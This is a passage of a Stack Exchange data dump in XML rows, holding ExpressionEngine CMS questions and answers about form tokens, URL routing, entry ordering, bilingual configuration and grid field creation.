  <row Id="30882" PostTypeId="2" ParentId="30881" CreationDate="2015-04-05T02:25:55.613" Score="1" Body="&lt;p&gt;Unfortunately I found out. that  Store 1.6 I believe ends support at 2.7.3.&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2015-04-05T02:25:55.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30883" PostTypeId="1" CreationDate="2015-04-05T08:16:02.653" Score="0" ViewCount="133" Body="&lt;p&gt;EE 2.7.2&#xA;MSM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just installed SOlspace Super Search and added the simple form example from teh docs but neither the {super_search_keywords} or {csrf_token} tags are getting parsed, both are rendered literally.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;form method=&quot;post&quot; action=&quot;{path='search/results'}&quot; role=&quot;form&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;{super_search_keywords}&quot; placeholder=&quot;Find a resource&quot; /&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; name=&quot;commit&quot; value=&quot;draft&quot;&amp;gt;&amp;lt;/button&amp;gt;&#xA;        &amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't see any config that I've missed, is there something else that needs to be included on the form page?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2015-04-11T10:01:26.763" Title="solspace super search 'super_search_keywords' and 'csrf_token' tags not parsed" Tags="|solspace|csrf|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30885" PostTypeId="1" CreationDate="2015-04-05T22:41:07.283" Score="0" ViewCount="117" Body="&lt;p&gt;I'm looking for an addon that will enable me to track data from custom fields and output graph or chart type reports. I found NSM Reports but I was wondering if anyone knew of any other possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&#xA;jules&lt;/p&gt;&#xA;" OwnerUserId="528" LastActivityDate="2015-04-07T15:55:55.430" Title="Addon for reports and charts" Tags="|plugin|reports|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30887" PostTypeId="1" AcceptedAnswerId="30896" CreationDate="2015-04-06T07:32:41.313" Score="0" ViewCount="204" Body="&lt;p&gt;Is it possible to use category_url_title in the first segment without having to create a template group for each category? I'd just like to link to categories on the fly using the first segment (site.com/news, site.com/athletics) and using just one template group. Possible?&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2015-04-06T18:48:44.063" LastActivityDate="2015-04-06T18:48:44.063" Title="Using Category URL Title in Segment 1" Tags="|categories|url|segments|resource-router|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30889" PostTypeId="2" ParentId="30887" CreationDate="2015-04-06T09:38:04.253" Score="1" Body="&lt;p&gt;Yes. I've touched on it &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11162/channel-entries-to-include-their-respective-categories-in-the-title-permalink/11185#11185&quot;&gt;in this answer&lt;/a&gt; using segment_2, but the same is true for segment_1 - you just have to rely on the default template group and the index template. There may be a lot of pages routing through it, so lot's of conditionals on where it should go/do (maybe embeds to different category templates, or they all look the same pulling in different data). You may get issues if you have strict URLs as it may encounter 404, I just tested it and needed to disable strict URLs in template preferences. Utilise &lt;a href=&quot;https://devot-ee.com/add-ons/low-seg2cat&quot; rel=&quot;nofollow noreferrer&quot;&gt;Seg2Cat&lt;/a&gt; to convert urls to IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure you don't get a clash with an existing template group or template name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had another build with Strict URLs set and had this in the .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 ^(sitemap_index\.xml|sitemap\.xml|product-feed\.xml) [NC]&#xA;RewriteRule ^(.*)$ /root/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Granted this is to access a specific page (removing the template group) not a category, but if the first part of this answer doesn't work or you need strict URLs give the above a go, where you spcifically name the template to go to in the rewrite rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not utilised it before, but &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/template_routes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;template routes&lt;/a&gt; might also be worth exploring.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-04-06T10:07:37.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30890" PostTypeId="2" ParentId="30883" CreationDate="2015-04-06T09:46:41.847" Score="1" Body="&lt;p&gt;&lt;code&gt;csrf_token&lt;/code&gt; has been introduced in EE 2.8+. See &lt;a href=&quot;http://www.solspace.com/docs/super_search/search/#csrf_token&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/search/#csrf_token&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.x used &lt;code&gt;XID&lt;/code&gt; before it was renamed to &lt;code&gt;csrf_token&lt;/code&gt;. Therefore, you need to add an XID hash instead if you're on EE 2.7.x:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2015-04-11T10:01:26.763" LastActivityDate="2015-04-11T10:01:26.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30891" PostTypeId="1" AcceptedAnswerId="30913" CreationDate="2015-04-06T10:47:51.867" Score="0" ViewCount="103" Body="&lt;p&gt;I'm trying to pass &lt;code&gt;{ip_address}&lt;/code&gt; to a module, which isn't working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rest url=&quot;http://domain.com/{ip_address}&quot; verb=&quot;get&quot; format=&quot;json&quot;}&#xA;&#xA;{/exp:rest}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{ip_address}&lt;/code&gt; is getting interpreted as a string. How do I make this work?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-04-07T15:06:52.807" Title="Global variable as a module tag pair's parameter?" Tags="|templates|module|parse-order|global-variables|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30892" PostTypeId="1" CreationDate="2015-04-06T14:41:03.453" Score="0" ViewCount="225" Body="&lt;p&gt;I am creating a dynamic form on the fly for use in EE templates. I create the tags using the mod.module_name.php file of my module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to run validation on the form, every field is required so I have a separate array in the loop that assigns the fields to template tags, to be returned to the template for the user to use those template tags to construct the form in their template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a separate function in the mod.module_name.php file that I have registered as an action in the actions table for it to process/post that form to that function. I tried to store the form validation in a session to check to make sure all those fields have a value in it, but it does not allow me to store that in session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my update_form function that will display opening and closing form tag and within it will be the form fields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function update_form()&#xA;{&#xA;    $action = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_site_index(0, 0).QUERY_MARKER.'ACT='.$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_action_id($this-&amp;gt;classname, 'process_update_form');&#xA;&#xA;    $form_details = array(&#xA;        'action' =&amp;gt; $action,&#xA;        'secure' =&amp;gt; TRUE,&#xA;        'id'        =&amp;gt;  $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('form_id', 'profile_update_form'),&#xA;        'class'     =&amp;gt;  $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('form_class', ''),&#xA;    );&#xA;&#xA;    $out = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declaration($form_details);&#xA;&#xA;    for($i = 0; $i &amp;lt; count($missing_fields); $i++)&#xA;    {&#xA;        // this array will be used for setting the form validation rules&#xA;        $missing_field_validation[] = array(&#xA;            'field' =&amp;gt; 'm_field_id_ ' . $missing_fields[$i]-&amp;gt;m_field_id,&#xA;            'label' =&amp;gt;  $missing_fields[$i]-&amp;gt;m_field_label,&#xA;            'rules' =&amp;gt;  'required',&#xA;        );&#xA;&#xA;        $vars = array(&#xA;            'field_id'              =&amp;gt;  $missing_fields[$i]-&amp;gt;m_field_id,&#xA;            'field_name'            =&amp;gt;  $missing_fields[$i]-&amp;gt;m_field_name,&#xA;            'field_label'           =&amp;gt;  $missing_fields[$i]-&amp;gt;m_field_label,&#xA;            'field_type'            =&amp;gt;  $missing_fields[$i]-&amp;gt;m_field_type,&#xA;            'field_list_items'      =&amp;gt;  format_list_items($missing_fields[$i]-&amp;gt;m_field_list_items),&#xA;            'count'                 =&amp;gt;  $i+1,&#xA;            'total_fields'          =&amp;gt;  $total_missing_fields,&#xA;        );&#xA;&#xA;        $out .= $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;    }&#xA;&#xA;    return $out;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the form that is triggered (it is registered in the actions table), I need to set the form_validation with the $missing_field_validation array without the need of using front-end validation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function process_update_form()&#xA;{&#xA;    // get form data and update it&#xA;    if ($this-&amp;gt;EE-&amp;gt;security-&amp;gt;check_xid($this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('XID')) == FALSE)&#xA;    {&#xA;        // No data insertion if a hash isn't found or is too old&#xA;        $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect($this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_backtrack());     &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template tags, just in case it helps you understand what I am trying to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile_reminder:update_form}&#xA;    &amp;lt;p&amp;gt;{field_id}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{field_name}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{field_label}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{field_type}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Total: {total_fields}&amp;lt;/p&amp;gt;&#xA;&#xA;    {if count==total_fields}&#xA;        &amp;lt;input type=&quot;submit&quot;&amp;gt;&#xA;    {/if}&#xA;{/exp:profile_reminder:update_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastActivityDate="2015-04-07T11:05:15.890" Title="form validation for module mod file template tags" Tags="|add-on-development|forms|module|validation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30893" PostTypeId="1" AcceptedAnswerId="30894" CreationDate="2015-04-06T14:55:43.390" Score="0" ViewCount="28" Body="&lt;p&gt;I need to allow members to create their own blogs.&#xA;Is it possible? If yes, so how can I realize such ability?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2015-04-06T16:01:30.590" Title="Individual blog for each member" Tags="|members|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30894" PostTypeId="2" ParentId="30893" CreationDate="2015-04-06T16:01:30.590" Score="1" Body="&lt;p&gt;You'll just need to have a system that allows you to determine the author_id of the current blog and use the &lt;code&gt;author_id=&quot;&quot;&lt;/code&gt; parameter. You can have them build profiles using &lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; or &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;ZooVisiter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as Michael said above, make sure it's fine with ExpressionEngine and complies with their policies.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-04-06T16:01:30.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30895" PostTypeId="2" ParentId="30891" CreationDate="2015-04-06T16:12:57.970" Score="0" Body="&lt;p&gt;User defined global variables are parsed at the very end, which you can see in &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;Low's parse order sheet&lt;/a&gt; which comes in handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can get the config variables in the backend with php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;config-&amp;gt;item('ip_address');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alex's solution should work as well, but in case you don't want to use the embed you could also allow php and set it to parse on input, and replace &lt;code&gt;{url_title}&lt;/code&gt; with the php variable. I would just use the embed method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rest &#xA;    url=&quot;http://domain.com/&amp;lt;?php echo ee()-&amp;gt;config-&amp;gt;item('ip_address'); ?&amp;gt;&quot; &#xA;    verb=&quot;get&quot; &#xA;    format=&quot;json&quot;&#xA;}&#xA;&#xA;{/exp:rest}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1539" LastEditorUserId="1539" LastEditDate="2015-04-07T15:06:52.807" LastActivityDate="2015-04-07T15:06:52.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30896" PostTypeId="2" ParentId="30887" CreationDate="2015-04-06T18:48:08.130" Score="1" Body="&lt;p&gt;I was able to solve this easily using &lt;a href=&quot;https://github.com/rsanchez/resource_router&quot; rel=&quot;nofollow&quot;&gt;Resource Router&lt;/a&gt;. In my master config file I added the following and it works like a charm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['resource_router'] = array(&#xA;    ':category_url_title' =&amp;gt; 'category/index',&#xA;    ':category_url_title/:pagination' =&amp;gt; 'category/index',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="454" LastActivityDate="2015-04-06T18:48:08.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30897" PostTypeId="1" CreationDate="2015-04-06T21:11:50.970" Score="0" ViewCount="88" Body="&lt;p&gt;looking for an EE plug-in/add-on to enable a breaking news drop down banner like on CNN:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X4AdO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Marc&lt;/p&gt;&#xA;" OwnerUserId="6198" LastActivityDate="2015-04-07T16:42:06.613" Title="Breaking News drop down" Tags="|add-on|drop-down|" AnswerCount="1" CommentCount="1" ClosedDate="2015-04-08T15:32:44.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="30898" PostTypeId="1" AcceptedAnswerId="30901" CreationDate="2015-04-06T21:44:01.647" Score="0" ViewCount="1148" Body="&lt;p&gt;Is it possible to ignore the &lt;code&gt;ORDERBY&lt;/code&gt;/&lt;code&gt;SORT&lt;/code&gt; parameters in an &lt;code&gt;exp:channel:entry&lt;/code&gt; tag and display the entries as given in a list of IDs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a embedded template where I pass down a list of entry IDs to render out. I would like to output the entries in the order they are passed down as entry_ids. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot; entry_id=&quot;{embed:ids}&quot; sort=&quot;asc&quot;  orderby=&quot;status&quot; limit=&quot;5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;{embed:ids}&lt;/code&gt; is the list of entries I would like displayed, in the order I would like. I.e. &lt;code&gt;5|1|3|7&lt;/code&gt;. But there is no parameter which will not re-arrange the output order (by date, author, etc..). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to use the query module to achieve what I want here? It seems EE will try to arrange by date whenever possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For full clarity's sake. This is part of a ChannelForm Newsletter creator that selects events and then submits a list of entries as bar &lt;code&gt;|&lt;/code&gt; separated entry_is into a input for a given issue. This is then renderd into an email template to be used later.&lt;/p&gt;&#xA;" OwnerUserId="2916" LastActivityDate="2015-04-07T11:20:38.850" Title="Overriding ORDERBY and SORT on channel:entries and output entries in order given by embedded entry_id list" Tags="|channel-entries|entries|orderby|sort|entryid|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30899" PostTypeId="2" ParentId="30897" CreationDate="2015-04-06T22:00:35.660" Score="4" Body="&lt;p&gt;An add-on shouldn't be strictly necessary to achieve this, EE is perfectly suited to handle &quot;Breaking News&quot;, &quot;Announcements&quot;, etc. natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have added similar &lt;strong&gt;Alert Banners&lt;/strong&gt; on clients sites by creating a dedicated 'Announcement' channel. We render these entries above/below the site-banner and usually limit to &lt;code&gt;1&lt;/code&gt;result at a time. Sometimes we will add additional filters to the result to only show the announcement for &lt;code&gt;x hours&lt;/code&gt; after the entry is published, and allow this default to be overridden by the &lt;code&gt;expiration_date&lt;/code&gt; if it is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That, of course, assumes you want to editorialize your alerts. You could also add a specific status or category to an existing channel to indicate breaking-news. Filtering by this parameter, you show the announcement details as above by pulling details such as title and excerpt from the existing entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar results could be had by limiting to one result at a time and hiding after a given time has passed for RSS feeds, comment feeds, etc. &lt;/p&gt;&#xA;" OwnerUserId="2916" LastEditorUserId="2916" LastEditDate="2015-04-07T16:42:06.613" LastActivityDate="2015-04-07T16:42:06.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30900" PostTypeId="2" ParentId="30898" CreationDate="2015-04-06T22:14:59.813" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;fixed_order=&quot;{embed:ids}&quot;&lt;/code&gt; parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation can be found &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#fixed-order&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1539" LastActivityDate="2015-04-06T22:14:59.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30901" PostTypeId="2" ParentId="30898" CreationDate="2015-04-06T22:15:45.300" Score="2" Body="&lt;p&gt;Sounds to me that &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#fixed-order&quot; rel=&quot;nofollow noreferrer&quot;&gt;the &lt;code&gt;fixed_order&lt;/code&gt; parameter&lt;/a&gt; is exactly what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/30587/expression-engine-entries-loop-in-reverse/30600#30600&quot;&gt;Expression Engine Entries Loop in Reverse&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-04-06T22:15:45.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30902" PostTypeId="2" ParentId="30783" CreationDate="2015-04-06T23:01:56.703" Score="1" Body="&lt;p&gt;Isn't that hard to make a bilingual website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your &lt;code&gt;config.php&lt;/code&gt;, set some variables on a domain basis. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$protocol      = (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp; $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://';&#xA;$domain        = str_replace('www.', '', $_SERVER['HTTP_HOST']);&#xA;$base_url      = $protocol . $_SERVER['HTTP_HOST'];&#xA;&#xA;$config['site_url'] = $base_url;&#xA;$config['cp_url'] = $base_url.'/system.php';&#xA;&#xA;$config['avatar_path'] = $_SERVER['DOCUMENT_ROOT'] . '/images/avatars';&#xA;$config['avatar_url'] = $base_url.'/images/avatars/';&#xA;$config['captcha_path'] = $_SERVER['DOCUMENT_ROOT'] . '/images/captchas';&#xA;$config['captcha_url'] = $base_url.'/images/captchas/';&#xA;$config['theme_folder_path'] = $_SERVER['DOCUMENT_ROOT'] . '/themes';&#xA;$config['theme_folder_url'] = $base_url.'/themes/';&#xA;$config['path_third_themes'] = $_SERVER['DOCUMENT_ROOT'] . '/addons_themes';&#xA;$config['url_third_themes'] = $base_url.'/addons_themes/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the language settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $assign_to_config;&#xA;if(!isset($assign_to_config['global_vars']))&#xA;$assign_to_config['global_vars'] = array();&#xA;if ( $domain == 'domain.com.br')&#xA;{&#xA;    $assign_to_config['xml_lang']   =&#xA;    $assign_to_config['language']   = 'pt';&#xA;    $config['reserved_category_word'] = 'categoria';&#xA;}&#xA;else // the default domain&#xA;{&#xA;    $assign_to_config['xml_lang']   =&#xA;    $assign_to_config['language']   = 'en';&#xA;    $config['reserved_category_word'] = 'category';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use root relative links to all your assets is a good idea too.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-04-06T23:01:56.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30903" PostTypeId="1" AcceptedAnswerId="30904" CreationDate="2015-04-07T01:24:08.493" Score="1" ViewCount="1101" Body="&lt;p&gt;SEE: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1051/channel-entries-possible-to-search-relationship-field&quot;&gt;Channel Entries - possible to search relationship field?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Has anything changed since the above question?&lt;/strong&gt; I want to list all Channel entries for a given value in a relationship field. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;search:my_relationship:url_title=&quot;foo&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't explain my problem properly. My Channel has a grid. The grid has a relationship field. When I loop through the grid entries, I want to apply a search filter to it.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2019-01-03T23:48:36.310" Title="Channel Entries - searching relationship field?" Tags="|channel-entries|relationships|grid|related-entries|reverse-related-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30904" PostTypeId="2" ParentId="30903" CreationDate="2015-04-07T07:48:41.427" Score="2" Body="&lt;p&gt;This is easy using &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; and its &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#relationships&quot; rel=&quot;nofollow&quot;&gt;Relationships filter&lt;/a&gt;. You don't necessarily need a search form, as you can use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#results-tag&quot; rel=&quot;nofollow&quot;&gt;Results tag&lt;/a&gt; as a drop-in replacement for the channel:entries tag. Then you can use this parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results child:rel_field=&quot;1|2|3&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which will give you all entries that have entry ID 1, 2 or 3 assigned to them as a child.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results child:rel_field=&quot;foo&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which will give you all entries that has the entry with URL-title 'foo' assigned to them as a child.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reverse is also possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results parent:rel_field=&quot;4|5|6&quot;}&#xA;{exp:low_search:results parent:rel_field=&quot;bar&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-04-07T07:48:41.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30905" PostTypeId="1" AcceptedAnswerId="30926" CreationDate="2015-04-07T08:55:45.807" Score="3" ViewCount="394" Body="&lt;p&gt;I’m creating an ExpressingEngine extension that upon activation, automatically creates a channel with fields. One of the fields the extension creates is a grid field. I create the field like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$floor_plans_field = array(&#xA;    'field_name' =&amp;gt; 'floor_plans',&#xA;    'field_label' =&amp;gt; 'Floor Plans',&#xA;    'field_type' =&amp;gt; 'grid',&#xA;    'field_order' =&amp;gt; 30,&#xA;    'field_instructions' =&amp;gt; 'The floor plans for the property',&#xA;    'field_required' =&amp;gt; 'n',&#xA;    'field_search' =&amp;gt; 'n',&#xA;    'field_is_hidden' =&amp;gt; 'n',&#xA;);&#xA;&#xA;$field = array_merge($floor_plans_field, array(&#xA;    'group_id' =&amp;gt; $group_id,&#xA;    'site_id' =&amp;gt; 1,&#xA;));&#xA;&#xA;$field_id = $this-&amp;gt;EE-&amp;gt;api_channel_fields-&amp;gt;update_field($field);&#xA;&#xA;$file_column = array(&#xA;    'field_id' =&amp;gt; $field_id,&#xA;    'content_type' =&amp;gt; 'channel',&#xA;    'col_order' =&amp;gt; 1,&#xA;    'col_type' =&amp;gt; 'file',&#xA;    'col_label' =&amp;gt; 'File',&#xA;    'col_name' =&amp;gt; 'file',&#xA;    'col_instructions' =&amp;gt; 'A floor plan.',&#xA;    'col_required' =&amp;gt; 'y',&#xA;    'col_search' =&amp;gt; 'n',&#xA;    'col_settings' =&amp;gt; json_encode(array(&#xA;        'field_content_type' =&amp;gt; 'all',&#xA;        'show_existing' =&amp;gt; 'y',&#xA;        'field_required' =&amp;gt; 'y',&#xA;    )),&#xA;);&#xA;&#xA;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('grid_columns', $file_column);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It creates the grid field for floor plans, and a single column for file (so the user can add multiple floor plans to the entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I save the entry I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred&#xA;  Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column 'col_id_5' in 'field list'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;INSERT INTO `exp_channel_grid_field_457` (`col_id_5`, `entry_id`, `row_order`) VALUES ('{filedir_1}banner1.jpg',62,0)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: models/grid_model.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 767&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems as though the ID of the grid column isn’t getting replaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? What am I doing wrong? Any help here would be appreciated as documentation on the grid field is… sparse.&lt;/p&gt;&#xA;" OwnerUserId="4930" LastActivityDate="2015-04-08T12:02:32.410" Title="Saving entry with grid field isn’t working" Tags="|grid|extension|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30906" PostTypeId="2" ParentId="30905" CreationDate="2015-04-07T10:30:36.427" Score="1" Body="&lt;p&gt;Have you had a look at the Grid Model that is in the system folder? Specifically /system/expressionengine/models/grid_model.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This model has methods for creating new Grid Fields (create_field on line 140), add and update columns (save_col_settings on lone 235) and saving data into the grid (save_field_data on line 689). Is this the API you are looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surfice to say, this Model shows you the code to create grids, columns and data. With a little searching you could probably find the code that calls these model functions for examples on how to use (appologies I don't have a test enviroment to post actual code for you atm) I suspect in the /system/expressionengine/fieldtypes/ft.grid.php is a good place to start for this. Another place is the 